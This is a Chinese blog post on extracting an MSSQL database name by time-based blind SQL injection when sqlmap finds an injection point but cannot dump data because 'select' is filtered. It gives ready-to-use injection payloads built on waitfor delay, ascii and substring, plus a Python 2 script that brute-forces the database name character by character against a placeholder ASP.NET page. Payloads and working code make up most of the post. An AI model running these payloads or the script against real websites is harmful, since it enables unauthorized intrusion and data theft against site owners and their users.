• 【实战】sqlmap显示有注入却无法爆出库名


    sqlmap爆mssql数据库时采用的语句如下图:

    从语句中不难看出,如果关键字select被“(非tamper绕过)处理”了,那sqlmap是无法爆出数据库的,这时我们可以使用原始的猜解法,

    #判断数据库和用户名长度
    '+if(len(db_name())=%s)+waitfor+delay+'0:0:5'--
    '+if(len(user_name())=%s)+waitfor+delay+'0:0:5'--

    #循环注出数据库和用户名
    '+if(ascii(substring(db_name(),%s,1))=%s)+waitfor+delay+'0:0:5'--
    '+if(ascii(substring(user_name(),%s,1))=%s)+waitfor+delay+'0:0:5'--

    分享一个最近用的时间延迟盲注爆库名脚本(手工测下库名长度):

    import urllib
    import urllib2
    import time
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
    values={}
    print 'Start to retrive database:'
    user= ''
    
    for i in range(1, 20):
        for payload in payloads:
            startTime=time.time()
            try:
                values['action']='getvideo'
                values['pc_mob']='GP'
                values['years']="' if(ascii(substring(db_name(),%s,1))=%s) waitfor delay '0:0:5'--" % (str(i),ord(payload))
                data = urllib.urlencode(values)
                url = "http://www.xxx.com/operation.aspx"
                geturl = url+'?'+data            
                request = urllib2.Request(geturl,headers=header)
                response = urllib2.urlopen(request)
                if time.time()-startTime>5:
                    user+=payload
                    print 'the database is:'+user
                    break
                else:
                    print 'dumping database...'
            except Exception,e:
                print e
  • 相关阅读:
    python学习之字典合并
    python学习之列表、元组、集合、字典随笔
    图像检索中的概念
    卷积、反卷积、转置卷积资源
    计算机视觉顶级会议和期刊
    Week17
    Python协程资源
    深度图像资源
    Geo-localization论文阅读list2
    NetVLAD原理详解和推导
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/9524213.html
Copyright © 2020-2023  润新知